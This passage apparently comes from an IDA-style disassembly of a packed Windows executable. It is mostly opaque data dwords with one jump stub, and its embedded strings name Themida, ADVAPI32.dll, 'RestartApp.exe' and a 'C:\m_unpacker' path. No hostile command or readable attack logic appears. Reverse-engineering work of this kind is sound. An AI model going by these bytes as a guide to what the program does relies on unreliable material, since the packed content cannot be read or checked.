		dd 4081C0D0h, 0FE81E869h, 0A61BFD03h, 40805FE9h, 3F91E891h
		dd 0C1006CBFh, 1E223546h
		dd 5F00995Bh, 0A115C57Eh, 1147F0h, 4A01EA08h, 0FE69984Bh
		dd 5E559D0Eh, 467E2233h, 2593E039h, 6C2E00F4h, 13AA01D3h
		dd 0C712D7E8h, 2440C287h, 0C0B47349h, 116B00CBh, 5F9C37A0h
		dd 0D0C747Ch, 29DC6CD3h, 0CE130C5Eh, 3B11F087h,	0B529B200h
		dd 0B139AE1Eh, 50D0031h, 65F4E2BFh, 0B463CB6Ch,	0FFAFC878h
		dd 1DD1F9CCh, 3F5341h, 9539839Fh, 2100920Dh, 67DAACD2h
		dd 4916F088h, 0D05004C3h, 83F898Eh, 99EC0027h, 0D07888C1h
		dd 0E3058E21h, 314F5F55h, 0C77DE480h, 0A4CB009Ah, 0B9377149h
		dd 0E8A8E7B4h, 6101ED96h, 7BDC8D4h, 0B8C3BCD6h,	12455B63h
		dd 2054D346h, 0ADFEBEB0h, 7FA7D709h, 0F11C135Fh, 0AEE02874h
		dd 0F2DA1C5Dh, 39350AF0h, 0B13600C8h, 63CB74A1h, 3A3C430Ch
		dd 60E18EEh, 5F132CCh, 4C07D9D7h, 106C9C64h, 2EAA9E00h
		dd 48D40A3Ch, 40B86ED3h, 8E292ABEh, 1F344h, 7082510Eh
		dd 0B9D0509Dh, 3D1DB3F6h, 6BC03E64h, 21D345C6h,	941A011Ch
		dd 52DB29E9h, 5799FD8Fh, 594A409Ch, 0D800F91Fh,	56E6D0C4h
		dd 939B2E3Dh, 0C62901D4h, 868F50D6h, 0BA394D79h, 6FFF01B9h
		dd 3D9FA42Bh, 93D036A1h, 0F0911801h, 39A6CD01h,	3EC132Ch
		dd 0E5D74FBAh, 5C68E2A2h, 0FDE9B69Dh, 0A60017D4h, 48AC5F4Bh
		dd 0A880D0D5h, 8B68A39Eh, 0B40C3100h, 0E84FC96Fh, 0FBB01FDh
		dd 6DD3AF49h, 0B1B1B88Ch, 25393996h, 608E98D8h,	7A692488h
		dd 9102E581h, 0B5365506h, 0F98C4B4h, 6E2BCB0Fh,	0C6C34A47h
		dd 0AC0091E9h, 7951F51Fh, 4D608Ch, 0A1E183D9h, 1B70A97h
		dd 3D01EF72h, 14226CF0h, 57D8815Fh, 2604F293h, 2970FB46h
		dd 0AE5B82ECh, 344C742Ch, 94125090h, 5800F7F4h,	0FC4FFF64h
		dd 75CA1355h, 28660702h, 0C638A09Dh, 0A81521E5h, 0ACD436h
		dd 266D147Ah, 508943h, 0CE562DDCh, 0B81CA23Fh, 0BC791B26h
		dd 8DFEC603h, 0C87100F6h, 72020FBAh, 0B2008BF3h, 0AEDAC196h
		dd 2C4CBBh, 6E6B1680h, 1F3E68Eh, 4B4C187Bh, 6AFDC05Ch
		dd 128B64E8h, 24549B73h, 4985051Ch, 690486D3h, 0BCB11CE8h
		dd 0DD112424h, 0E49A487Dh, 9700E48Eh, 3F3A6523h, 0C3253D09h
		dd 80DC2ECFh, 47EF0468h, 88A7261Fh, 445D0088h, 25FA122Ch
		dd 38480F2Eh, 6084F060h, 0C21A002Eh, 4A59DB6Eh,	910E232Bh
		dd 8A71710h, 3DD611BEh,	2A102F6h, 2087D57Dh, 0DB3F4DF2h
		dd 7EB12216h, 0F9991030h, 0BA5B14D5h, 8503EEC4h, 975CE806h
		dd 7D602156h, 0B939A018h, 0B8BD69h, 9CBF9F1Ah, 92D2D428h
		dd 74E43500h, 0D01E71A6h, 8CF7548Eh, 0C7A50E6Ch, 0A0A06B36h
		dd 43156ED2h, 0E809D417h, 4BC49802h, 0D6D040A4h, 0A8C254B3h
		dd 6C6003CFh, 99D9928Eh, 68F077F0h, 0BBDCA31Fh,	43657340h
		dd 501D8F85h, 3E1F68D6h, 0B28069BDh, 4DCD131Ah,	0B8C87B8Bh
		dd 5AD58080h, 238E7643h, 26870800h, 670DC0A4h, 7A36005Ch
		dd 1BC7AB6Ch, 0A2F46F49h, 0D0998276h, 2A869E80h, 1D12911h
		dd 90DC53CEh, 0C49B041Ah, 0FD005B65h, 6982ECC6h, 48932802h
		dd 0DF221C3Fh, 5C0BA490h, 4B520Ch, 62A33420h, 0B30300FDh
		dd 1C61CA1h, 21022D9Bh,	5AE9D07Eh, 5F3C8085h, 4464F97h
		dd 315E0429h, 6B848063h, 0F118DF8Fh, 0B1E1D307h, 7F0B1ECh
		dd 1010A832h, 0F7F673ABh, 0D8395118h, 1E3C29h, 1C901ACAh
		dd 691D8745h, 0C8ABA824h, 0E2EE360Fh, 103985ACh, 0A1FD264h
		dd 0C10F34E6h, 0CD837FC4h, 0CDB497Fh, 9B3F0571h, 500076B1h
		dd 98426D99h, 0FADB4179h, 0CECF0114h, 19F11DFBh, 775F10CAh
		dd 0A3C0446h, 0C19321A2h, 0D8F61CA8h, 953FED55h, 0A4097CFEh
		dd 83A0B196h, 0E63E9434h, 0ED1A0769h, 67A9E9F2h, 2C9DC0C2h
		dd 0B490A7F5h, 725839ECh, 8C2234h, 0FB180B68h, 5EA35759h
		dd 1E373A38h, 780179F9h, 4174B5EFh, 0DF843FD0h,	27628061h
		dd 905F96BEh, 2A120703h, 0C7AE6D7Ch, 4B7FA590h,	30DD41D2h
		dd 0DF736E0Bh, 6B90109Bh, 63A4A180h, 6804DCF6h,	9427FD41h
		dd 2EC21082h, 0B0AFE300h, 63002980h, 0F544D1E1h, 2668E738h
		dd 267C0DF7h, 0E3CC0034h, 0A441327Eh, 0B5CD6618h, 4BF2AEF0h
		dd 9C942005h, 0EF03BA35h, 0B4CF0968h, 0C81900C4h, 1D6F061Ch
		dd 8C1C0474h, 79CF7CD4h, 0ADC0E077h, 0FA26ED35h, 401C96F5h
		dd 7CF31EA7h, 73C8EC01h, 0DBFA8155h, 57404E0h, 4BCDB05Dh
		dd 0C070848Dh, 0B4A020D4h, 0E5004491h, 0B50AA1E3h, 6551D3Dh
		dd 821709BFh, 0EC9C3461h, 53165D1Bh, 0B01E4C01h, 84AEAB4Bh
		dd 3E5DC690h, 400CB4A6h, 0C11C7F9Ah, 78492F0Fh,	5B4D40B6h
		dd 52E6DBh, 349C8BFDh, 5F0D983h, 1D031AE2h, 0EC2D2147h
		dd 8C8C95E6h, 0DC5E019Eh, 82AC59B0h, 0E9048B1h,	0AE01070Fh
		dd 0AD6FC063h, 0B4249h,	0C71D88EAh, 47747925h, 4C65520Eh
		dd 0F4D0527Fh, 1F3D3137h, 12A114CDh, 8EE09253h,	28EFF090h
		dd 0B6E23905h, 800B02B7h, 0E29C9216h, 48E6164h,	40B484F3h
		dd 1230A0B4h, 417D0BB2h, 0FA034E66h, 5900D84Fh,	1B343547h
		dd 242EDE5Ah, 9813F37h,	2C89C721h, 40F39004h, 67B970D2h
		dd 5D9C0028h, 0A54674A8h, 8501A3E0h, 27955FCEh,	6C214F89h
		dd 19CC8180h, 0F07D18A0h, 2E0F7503h, 8864383Eh,	2C8BBCAEh
		dd 607CF52Fh, 0AC8FD9E2h, 170011F2h, 0F55937BEh, 7B301F1h
		dd 0D97382CFh, 293CD01Eh, 0A6FD43E8h, 67602C39h, 0E848B17Dh
		dd 0A09A0087h, 319151EBh, 103F13A4h, 1F6D00F0h,	5D9D5B7Eh
		dd 48AB7036h, 7784B7h, 0F5064814h, 3C8F8201h, 10B15227h
		dd 1F5B704Ch, 0C07C120Fh, 41504715h, 3B004E69h,	1DD1DB90h
		dd 48D39EA7h, 0DFC1C86Eh, 63B19B17h, 0C13E20h, 0D2D29A3h
		dd 0B43B8Fh, 394AFBB8h,	74C6DCF0h, 48D2558h, 36CD6C29h
		dd 1D3430A4h, 0C0308866h, 182CB219h, 6014E28h, 0CAB7BEF3h
		dd 64FAFFEEh, 68C600A0h, 0B64F7705h, 8E0F5CB1h,	0CF469C16h
		dd 0E84040A5h, 0B13F1704h, 0F93DD4h, 0A2D5D1D0h, 4C85AA4Bh
		dd 0DB5EF60Fh, 827BA633h, 4409029h, 0D3A1EE3Ah,	75C8A452h
		dd 0E82BC304h, 3CE20F29h, 60F650h, 302A74B2h, 0A17D5666h
		dd 0A74F2200h, 75E9841Bh, 482CA27Fh, 96D38E4h, 0B1A62479h
		dd 43355C10h, 119C951Ch, 7D1F3700h, 9063548Ch, 4CD64C28h
		dd 29C9A5C3h, 21041A8h,	0A480BD09h, 0B6230007h,	0FFB9A6Eh
		dd 3D99185Fh, 0CEA60400h, 81C0EF3Eh, 4D021CD4h,	70031FD9h
		dd 0ED15CF0Ch, 0EE5D6E61h, 0EFAC70BCh, 0D38A0400h, 9B1BBF7Eh
		dd 42390056h, 6CBD785Fh, 0C0EC0C9h, 358D2948h, 3BC4008Ch
		dd 4EF10287h, 336C1CE3h, 33E4E42h, 0B86F112Fh, 0C05A5144h
		dd 48995FECh, 0BE910100h, 17F964F7h, 41364BC6h,	2C896714h
		dd 75F440BAh, 0E0B003CCh, 12970105h, 4822AF2h, 235E20DCh
		dd 0CF136C27h, 7CD4557Fh, 8181B808h, 87E12969h,	0CD1C308Bh
		dd 937A0101h, 8EED50AFh, 0E0008829h, 0E97FA7EBh, 0C600854Bh
		dd 0F2D5360h, 24BCAF9Ch, 59C99EFh, 0C74C587Ah, 0C04499C4h
		dd 51C09A00h, 0FE2EDA0Bh, 4AC9094h, 6B65CB04h, 749CB2BFh
		dd 6E0095E0h, 56CE20D8h, 79036F6h, 0A1B11016h, 805CE43Bh
		dd 47F09918h, 1BDC83Eh,	0B387FC0Bh, 94623684h, 8F2DF900h
		dd 3E93499Bh, 19002899h, 507BD4F5h, 0E8EBB894h,	4FEB1E79h
		dd 0C86D8053h, 0E4B464A4h, 840580B0h, 8E2C76A6h, 15FAE020h
		dd 0FCEB0008h, 0F7E94F47h, 311F5805h, 73CB5D30h, 7618683Eh
		dd 8A5C066Bh, 0B002618Dh
		dd 314FA600h, 0E281967Dh, 0A9CB6039h, 99CA15E0h, 0D46147F2h
		dd 12EB8978h, 5185C70h,	433C102Bh, 0F0FF009Eh, 384FA257h
		dd 14B0D85Ch, 24366Fh, 6285ABAAh, 0B9F6567h, 70E8FC4Ch
		dd 4E7F3C90h, 170029DEh, 305DC501h, 61C894D8h, 70B1DA24h
		dd 2A094F44h, 60BD725Dh, 6103F0C4h, 0EFA441C9h,	52A860C2h
		dd 5C43DA45h, 8A09375h,	8FC460C0h, 5B5D3C00h, 9C02F07Eh
		dd 0B88946E8h, 97F88045h, 0F51C0093h, 6960888Fh, 8C005B2Ch
		dd 0CCA7492h, 12301FF4h, 117A7D7h, 0E1189E70h, 0CB5420B0h
		dd 504B58h, 562C678Ch, 132166D5h, 309EE73Fh, 283A33D4h
		dd 61870E07h, 0BC80066Ah, 12BE6FB4h, 7B293Bh, 6671DD24h
		dd 2C2EA1A6h, 0A00843Eh, 48DC5DA0h, 94BE5CEFh, 0C016E92Dh
		dd 16DD300h, 3DE7EECEh,	239001B4h, 653A66A7h, 2440FEE8h
		dd 562EB92Fh, 8E18B8E6h, 16D60E70h, 21394C0Dh, 0F12D31CCh
		dd 603ACCABh, 3374B605h, 0A4004CBDh, 3C5E1924h,	86A70AD3h
		dd 12CCC5C4h, 830800ADh, 9AF21E4Fh, 91E59E2Dh, 96FC36E0h
		dd 44B70D6Eh, 0F0B91BF1h, 0C083E9B1h, 1964B3h, 60EF2ED9h
		dd 0F9672977h, 0BC95B209h, 0ECC461h, 0CAFA4935h, 6BFF5B80h
		dd 2D289D00h, 0AA2F0BFCh, 80909106h, 6772A6A4h,	27037A3Eh
		dd 53F5F64h, 3BEB80AFh,	15C22E10h, 6C240Ah, 542520B7h
		dd 75291EBCh, 0C383D828h, 80EE80A1h, 4CC75039h,	6702E62Ah
		dd 0EDDA4BF4h, 0AC9A081h, 197F217h, 0DBFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_540A69:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_543D8E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
aSx		db '{ИX|',0
		align 4
		dd 0
		dd 781F0000h, 76CDB8ADh, 77E7h,	0
		dd 0A00F0000h, 100A0h, 0
		dd 62550000h, 3	dup(0)
		dd 0A00000h, 89EA0000h,	8B4C0058h, 0FA78h, 3 dup(0)
		dd 802A0000h, 58h, 2 dup(0)
		dd 3AFA0000h, 0FFA9h, 740000h, 5A9B0000h, 1D7902D0h, 0B1h
		dd 0BC790000h, 0A4E9FFCFh, 0AED20000h, 5Bh, 7 dup(0)
		dd 76CD0000h, 77E7h, 0
		dd 8BA00000h, 59h, 0
		dd 0F6090000h, 8803h, 5	dup(0)
		dd 10C60000h, 54h, 5D80000h, 77E8h, 6 dup(0)
		dd 6BBA0000h, 39EB0000h, 8 dup(0)
		dd 0E3060000h, 59F00057h, 323577DDh, 7B1Fh, 2280000h, 40h
		dd 0B7h, 99950000h, 0A4h, 32h dup(0)
		dd 8C0A0000h, 0A0h, 0Ah	dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 34D40000h, 4AF0005Bh, 0Eh, 3	dup(0)
		dd 0E6600000h, 0
		dd 0E0000000h, 4Dh, 8 dup(0)
		dd 5D80000h, 77E8h, 5 dup(0)
		dd 0CDF00000h, 57h, 0
		dd 3040000h, 7FFEh, 10000h, 699C0000h, 0AED20000h, 0A099005Bh
		dd 77E7h, 0
		dd 3040000h, 7FFEh, 0
		dd 0A00F0000h, 0A1FE00A0h, 0B0h, 6 dup(0)
		dd 5070000h, 0A2FFh, 3E680000h,	97D077E8h, 2 dup(0)
		dd 50240000h, 77FCh, 3 dup(0)
		dd 10000h, 262B0000h, 5Bh, 2 dup(0)
		dd 0D9840000h, 43D21F3Ah, 24AD0054h, 3 dup(0)
		dd 7E030000h, 63DA0000h, 0A0h, 86h dup(0)
		dd 6180000h, 77E8h, 4 dup(0)
		dd 36E10000h, 0FF1C005Bh, 12h, 6 dup(0)
		dd 3FA0000h, 7C0Eh, 0
		dd 2FFC0000h, 0FFA4h, 2	dup(0)
		dd 0F9190000h, 5A7Dh, 2	dup(0)
		dd 3040000h, 7FFEh, 0Ah	dup(0)
		dd 230000h, 3 dup(0)
		dd 230000h, 54h, 4 dup(0)
		dd 0A5060000h, 151h, 23E80000h,	0ADD200A1h, 57h, 0
		dd 6BBA0000h, 99DC0000h, 2 dup(0)
		dd 620000h, 3E11h, 0
		dd 0E3060000h, 57h, 2 dup(0)
		dd 0DC5B0000h, 58h, 2 dup(0)
		dd 69BA0000h, 0BBA6h, 2	dup(0)
		dd 0EBCC0000h, 107h, 40000h, 9 dup(0)
		dd 0FCFC0000h, 8001h, 2	dup(0)
		dd 0CB150000h, 0B9B6h, 3 dup(0)
		dd 3060000h, 7FFEh, 0D1590000h,	597Bh, 2 dup(0)
		dd 34300000h, 312Dh, 2 dup(0)
		dd 54320000h, 61D8h, 2 dup(0)
		dd 3040000h, 0D7067FFEh, 77E6h,	0
		dd 3040000h, 7FFEh, 7D5B0000h, 57h, 67C40000h, 5Ch, 0
		dd 0B1960000h, 78A9h, 4	dup(0)
		dd 0BD3E0000h, 0F557AD72h, 0C600FFFFh, 3, 2 dup(0)
		dd 0E800000h, 9	dup(0)
		dd 1F1F0000h, 5Bh, 0A7600000h, 0CCFEh, 7 dup(0)
		dd 0BAD90000h, 5Ah, 0
		dd 30DF0000h, 0A9C5h, 3	dup(0)
		dd 43510000h, 0
		dd 55C20000h, 56h, 2 dup(0)
		dd 34D40000h, 5Bh, 2 dup(0)
		dd 8A000000h, 0
		dd 22220000h, 22222222h, 2222h,	0
		dd 0B2F60000h, 54h, 2 dup(0)
		dd 1C2B0000h, 0
		dd 0E3180000h, 57h, 1FC0000h, 0B1h, 2 dup(0)
		dd 0C3590000h, 59h, 13h	dup(0)
		dd 30DF0000h, 0A9C5h, 0Eh dup(0)
		dd 0F9DF0000h, 16F7h, 0Eh dup(0)
		dd 0ECB00000h, 0F20Dh, 0
		dd 0C0740000h, 4 dup(0)
		dd 35F20000h, 5Bh, 0Ch dup(0)
		dd 92340000h, 0A0h, 0B5E20000h,	3 dup(0)
		dd 34C10000h, 0D62Bh, 2	dup(0)
		dd 0A5FD0000h, 0B31A77E7h, 7FA6h, 7CFC0000h, 5Bh, 0Bh dup(0)
		dd 2EC0000h, 0C0h, 0
		dd 635E0000h, 5Bh, 0Ch dup(0)
		dd 8B820000h, 421D77E7h, 57h, 2	dup(0)
		dd 109C0000h, 6	dup(0)
		dd 81E80000h, 9F280059h, 3 dup(0)
		dd 8B4C0000h, 0FA78h, 8	dup(0)
		dd 10000h, 67F80000h, 3	dup(0)
		dd 0D20E0000h, 4005Bh, 2 dup(0)
		dd 79DB0000h, 5Ah, 7FFC0000h, 0
		dd 15600000h, 0A1h, 7 dup(0)
		dd 6CEB0000h, 8A220000h, 59h, 5	dup(0)
		dd 10000h, 2FD90000h, 61664h, 2	dup(0)
		dd 0E6600000h, 0Ah dup(0)
		dd 63E0000h, 304005Ah, 7FFEh, 7	dup(0)
		dd 40000h, 0
		dd 0E2B50000h, 57h, 0D20E0000h,	61DF005Bh, 55Fh, 0
		dd 0FC3C0000h, 0FFF0ECEEh, 9F280012h, 57h, 3 dup(0)
		dd 0A8920000h, 5E6Dh, 0
		dd 0B5E20000h, 908A0Fh,	22D80000h, 8C00A1h, 0
		dd 0C1EF0000h, 1, 4 dup(0)
		dd 0A9040000h, 2 dup(0)
		dd 780000h, 3 dup(0)
		dd 14340000h, 3	dup(0)
		dd 31E0000h, 0EF63305Dh, 0EBEFh, 59E40000h, 8EC80000h
		dd 0FFFFh, 2 dup(0)
		dd 0C96A0000h, 77D4h, 9C0000h, 3 dup(0)
		dd 93930000h, 0A0h, 0
		dd 81D40000h, 0EC27h, 22A30000h, 54h, 0Bh dup(0)
		dd 2BCF0000h, 144Fh, 2 dup(0)
		dd 20000h, 7D330000h, 0CDF00057h, 57h, 3 dup(0)
		dd 41750000h, 0FFFFh, 0
		dd 0D7950000h, 88Bh, 2DF20000h,	0FFA4h,	0
		dd 0AED20000h, 5Bh, 2 dup(0)
		dd 94990000h, 0A0h, 0
		dd 0CCE60000h, 35F6h, 3	dup(0)
		dd 0DC8A0000h, 7931h, 4	dup(0)
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 4 dup(0)
		dd 22D80000h, 200A1h, 3	dup(0)
		dd 9F860000h, 0A8FCDDh,	0B60D0000h, 7143h, 0Fh dup(0)
		dd 0B3E10000h, 5Bh, 2Ch	dup(0)
		dd 980000h, 0Bh	dup(0)
		dd 0EA900000h, 56h, 2 dup(0)
		dd 230000h, 58h, 0
		dd 0EDBD0000h, 0B1347EE7h, 962300A2h, 0FF5Fh, 0A00F0000h
		dd 0A0h, 6 dup(0)
		dd 8B820000h, 877E7h, 10031h, 3FA0000h,	7C0Eh, 6BBA0000h
		dd 69DD0000h, 0A0h, 2 dup(0)
		dd 9600000h, 0FD85h, 5 dup(0)
		dd 0A6E90000h, 445F77EBh, 59h, 2 dup(0)
		dd 0A1500000h, 7BB5h, 0AEh, 16h	dup(0)
		dd 0F7DD0000h, 77FFh, 2	dup(0)
		dd 0FFB00000h, 1C0h, 0
		dd 1CFA0000h, 0FFA8h, 140000h, 0Eh, 421D0000h, 57h, 0
		dd 22920000h, 0A0h, 2 dup(0)
		dd 0FE60000h, 9Fh, 34C60000h, 30DF0054h, 0A9C5h, 3 dup(0)
		dd 0B4E20000h, 59h, 4 dup(0)
		dd 0E550025Bh, 5Ah, 9E0000h, 1000005Bh,	9E0000h, 5Bh, 0
		dd 3040000h, 7FFEh, 7 dup(0)
		dd 198A0000h, 54h, 4 dup(0)
		dd 93160000h, 0FFA7h, 17h dup(0)
		dd 10000h, 7 dup(0)
		dd 10000h, 6 dup(0)
		dd 0E4E00000h, 5Ah, 2 dup(0)
		dd 8A980000h, 0BE030059h, 5Bh, 3 dup(0)
		dd 10000h, 6 dup(0)
		dd 7C0000h, 2 dup(0)
		dd 4B400000h, 70C4E020h, 0A0h, 13h dup(0)
		dd 0E3060000h, 0AC5E0057h, 77E7h, 0FA560000h, 0A0h, 6 dup(0)
		dd 34EB0000h, 4649h, 6BBA0000h,	0
		dd 0A1500000h, 3047BB5h, 7FFEh,	0D8590000h, 59h, 0Ah dup(0)
		dd 10000h, 11110000h, 1111h, 2,	6 dup(0)
		dd 7FD80000h, 0A2h, 5 dup(0)
		dd 93480000h, 0FDBEh, 5	dup(0)
		dd 9EA80000h, 0FFFFh, 0FEF00000h, 12h, 10h dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 980000h, 0
		dd 10000000h, 0FF540040h, 12h, 17h dup(0)
		dd 40000h, 2 dup(0)
		dd 0D0000000h, 304000Dh, 7FFEh,	6 dup(0)
		dd 8BA00000h, 59h, 23D70000h, 367C77DDh, 5Ah, 0
		dd 3040000h, 7FFEh, 77F5h, 4 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 892A0000h, 0FFFFh, 0DF970000h, 7340CBFh, 0Fh, 0
		dd 0EB6025Ah, 7CFCAA3Eh, 5Bh, 0FFE00000h, 0F9F80012h, 3
		dd 3 dup(0)
		dd 915B0000h, 0A0h, 0
		dd 0A1500000h, 7BB5h, 3	dup(0)
		dd 59EC0000h, 47570000h, 7209h,	2 dup(0)
		dd 0B1CA0000h, 0AEh, 4 dup(0)
		dd 9F9B0000h, 59h, 32100000h, 76CDFFA8h, 77E7h,	0
		dd 42FB0000h, 58h, 2 dup(0)
		dd 61DF0000h, 55Fh, 2 dup(0)
		dd 0FF540000h, 12h, 0B1FB0000h,	0FFFF1D23h, 0FFFFh, 16h	dup(0)
		dd 6C550000h, 0BB013315h, 0DCB5h, 3 dup(0)
		dd 880000h, 0F80000h, 9B1B77E6h, 7BFDh,	10000h,	0
		dd 3040000h, 17FFEh, 0BE080000h, 7D830058h, 57h, 4 dup(0)
		dd 6BBA0000h, 6	dup(0)
		dd 8D530000h, 0A4h, 6B010000h, 6 dup(0)
		dd 0C5160000h, 0FFBEh, 5 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 230000h, 0D2A90058h,	57h, 0A80000h, 0D920h, 5C750000h
		dd 0E0D2h, 3 dup(0)
		dd 34D80000h, 1FDAh, 6 dup(0)
		dd 9F70000h, 0A0h, 0FD9D0000h, 78A9h, 5	dup(0)
		dd 10000h, 0C96A77D4h, 950477D4h, 60B4B74Ah, 392Ch, 421D0000h
		dd 14BC0057h, 0C7A804A9h, 0D62Bh, 444C0000h, 4 dup(0)
		dd 4D280000h, 7D15E63h,	4 dup(0)
		dd 70000000h, 0AED2001Ch, 5Bh, 6 dup(0)
		dd 5FF00000h, 599D0024h, 595A78A9h, 0FEF6h, 0
		dd 6ACD0000h, 48B5h, 3 dup(0)
		dd 0A1020000h, 0E0C0h, 0FF1C0000h, 12h,	0
		dd 0A23A0000h, 0FFFFh, 0
		dd 5B3D0000h, 0B64Eh, 6	dup(0)
		dd 0C63C0000h, 106Fh, 29h dup(0)
		dd 6FCD0000h, 1, 0
		dd 6D720000h, 1568FFA7h, 0A1h, 7 dup(0)
		dd 0EDFB0000h, 0FA7Bh, 3 dup(0)
		dd 97C00000h, 0FD5B005Ah, 40E0h, 62h dup(0)
		dd 4E6A0000h, 8756h, 2FE80000h,	77E8h, 2 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 89680000h, 5Ah, 22D80000h, 0A1h, 13h	dup(0)
		dd 0E3060000h, 57h, 2 dup(0)
		dd 5ECC0000h, 328077DDh, 0FF4Dh, 3040000h, 0FF5C7FFEh
		dd 0FF60AACFh, 12h, 0
		dd 69DD0000h, 0A0h, 3 dup(0)
		dd 0B5E20000h, 18h dup(0)
		dd 0E3060000h, 57h, 7 dup(0)
		dd 3730000h, 0CDFCh, 6 dup(0)
		dd 0AE630000h, 18h, 3040000h, 7FFEh, 0A5E70000h, 100A4h
		dd 3 dup(0)
		dd 6CE10000h, 809Eh, 4 dup(0)
		dd 593C0000h, 0FF4Eh, 3	dup(0)
		dd 96AC0000h, 2	dup(0)
		dd 6B070000h, 0B816005Bh, 59h, 2 dup(0)
		dd 9EAC0000h, 59h, 2 dup(0)
		dd 0A00F0000h, 0A0h, 2 dup(0)
		dd 3040000h, 847FFEh, 0CB150000h, 0B9B6h, 6 dup(0)
		dd 0D1570000h, 57h, 2 dup(0)
		dd 9E240000h, 0A144FFFFh, 77E7h, 2 dup(0)
		dd 915B0000h, 0A0h, 0A40000h, 0
		dd 944B0000h, 53DDh, 2 dup(0)
		dd 0A00F0000h, 0A0h, 4 dup(0)
		dd 190000h, 598E0000h, 0BEC4h, 2 dup(0)
		dd 3BE90000h, 58h, 2 dup(0)
		dd 2280000h, 40h, 6BBA0000h, 2 dup(0)
		dd 0B7B90000h, 59h, 2 dup(0)
		dd 77D4h, 588C0000h, 22D8FD7Eh,	0A1h, 8	dup(0)
		dd 3CCB0000h, 27Ah, 0D5540000h,	2ABE009Fh, 12154h, 2 dup(0)
		dd 0C7420000h, 0C13h, 0FEF80000h, 12h, 22D80000h, 0A1h
		dd 0FF540000h, 12h, 13h	dup(0)
		dd 77E6h, 4 dup(0)
		dd 22D80000h, 326800A1h, 30400A1h, 0FF547FFEh, 12h, 0FFC40000h
		dd 12h,	0EB000000h, 3 dup(0)
		dd 3040000h, 180B7FFEh,	77F5h, 2 dup(0)
		dd 63720000h, 0EBB0059h, 11060006h, 95B2h, 3 dup(0)
		dd 47520000h, 8FBA0FFFh, 0D9A2h, 2 dup(0)
		dd 390000h, 0AED20000h,	3333005Bh, 2 dup(33333333h), 3333h
		dd 5 dup(0)
		dd 0FCFC0000h, 8001h, 2	dup(0)
		dd 380000h, 58h, 0AFC40000h, 58h, 0
		dd 230000h, 54h, 85710000h, 79A97B6Bh, 216877F0h, 77E8h
		dd 4 dup(0)
		dd 0BF330000h, 7888h, 232D0000h, 58h, 7	dup(0)
		dd 61170000h, 1A98h, 0
		dd 0A8370000h, 77E7h, 0
		dd 530D0000h, 5Bh, 3040000h, 7FFEh, 0Dh	dup(0)
		dd 0AED20000h, 5Bh, 3 dup(0)
		dd 32680000h, 2, 2 dup(0)
		dd 3040000h, 7FFEh, 0EB2B0000h,	3A430E5Ch, 4E49575Ch, 53574F44h
		dd 7379535Ch, 336D6574h, 44415C32h, 49504156h, 642E3233h
		dd 6C6Ch, 44h dup(0)
		dd 0CF700000h, 58h, 0
		dd 10000h, 0DCB60000h, 0FFEBh, 2 dup(0)
		dd 0CDF00000h, 57h, 0
		dd 5D110000h, 58h, 4 dup(0)
		dd 3A00000h, 2 dup(0)
		dd 3040000h, 7FFEh, 0A00F0000h,	0A0h, 0Eh dup(0)
		dd 27980000h, 58h, 4 dup(0)
		dd 3E950000h, 55A2h, 2B0000h, 4	dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 80h dup(0)
		dd 79630000h, 147477E7h, 5Ah, 0FF600000h, 12h, 3 dup(0)
		dd 10CE0000h, 10h dup(0)
		dd 11FF0000h, 8B61005Bh, 0
		dd 54000000h, 58h, 3 dup(0)
		dd 9Fh,	3 dup(0)
		dd 68F0000h, 28Ah, 5 dup(0)
		dd 92820000h, 7CA683D8h, 805Ah,	2 dup(0)
		dd 3FA0000h, 7C0Eh, 888A0000h, 0B553h, 0B84F0000h, 69DD0059h
		dd 39DA0000h, 54h, 3 dup(0)
		dd 8C0A0000h, 0E30600A0h, 57h, 0
		dd 68540000h, 64696D65h, 61h, 1Dh dup(0)
		dd 0E48D0000h, 59h, 6 dup(0)
		dd 0FFB00000h, 200h, 9F280000h,	57h, 173C0000h,	33C1h
		dd 2 dup(0)
		dd 0C6BC0000h, 57h, 0
		dd 0FF540000h, 12h, 8 dup(0)
		dd 9C370000h, 0A0h, 2 dup(0)
		dd 0B1A10000h, 304049Eh, 7FFEh,	69DD0000h, 0A0h, 0Eh dup(0)
		dd 9C750000h, 114Bh, 42FC0000h,	1980h, 5 dup(0)
		dd 800000h, 2 dup(0)
		dd 1CFA0000h, 45EEFFA8h, 0B32E286Fh, 79D7h, 0AED20000h
		dd 5Bh,	3040000h, 7FFEh, 0Ah dup(0)
		dd 44620000h, 58h, 0
		dd 0EA900000h, 56h, 0BAh dup(0)
		dd 0D2FB0000h, 0C9AAFFFFh, 2B50h, 4 dup(0)
		dd 0FF190000h, 0A445FFB6h, 0F43Dh, 0
		dd 940000h, 50000000h, 3, 1F30000h, 6BBA0058h, 10000h
		dd 0
		dd 61510000h, 0B5E6h, 2	dup(0)
		dd 0FFFF0000h, 0EFFBh, 9 dup(0)
		dd 0FFFF0000h, 0FFFFh, 9 dup(0)
		dd 6A420000h, 77E7h, 0
		dd 3B80000h, 2 dup(0)
		dd 7ADA0000h, 57h, 9 dup(0)
		dd 0A1440000h, 77E7h, 3	dup(0)
		dd 19E70000h, 0E925F83Ah, 3040D59h, 0D07FFEh, 4	dup(0)
		dd 0CFF80000h, 64FFh, 2	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 8AFC0000h, 3E3B005Ah, 0A0h, 0Ah dup(0)
		dd 0A95B0000h, 5Bh, 0FFA40000h,	12h, 0
		dd 21600000h, 77E8h, 21680000h,	2, 9 dup(0)
		dd 450A0000h, 0A149h, 0
		dd 5E2E0000h, 0A0h, 0C00000h, 3	dup(0)
		dd 59230000h, 5Bh, 2E0F0000h, 76CD77F5h, 1B4077E7h, 60D876B4h
		dd 8EC8FFA8h, 0FFFFh, 4	dup(0)
		dd 44CD0000h, 58h, 0
		dd 10D20000h, 54h, 10000h, 0
		dd 7B240000h, 0D5B4h, 0
		dd 0EDE80000h, 0Bh, 2 dup(0)
		dd 77DDh, 8 dup(0)
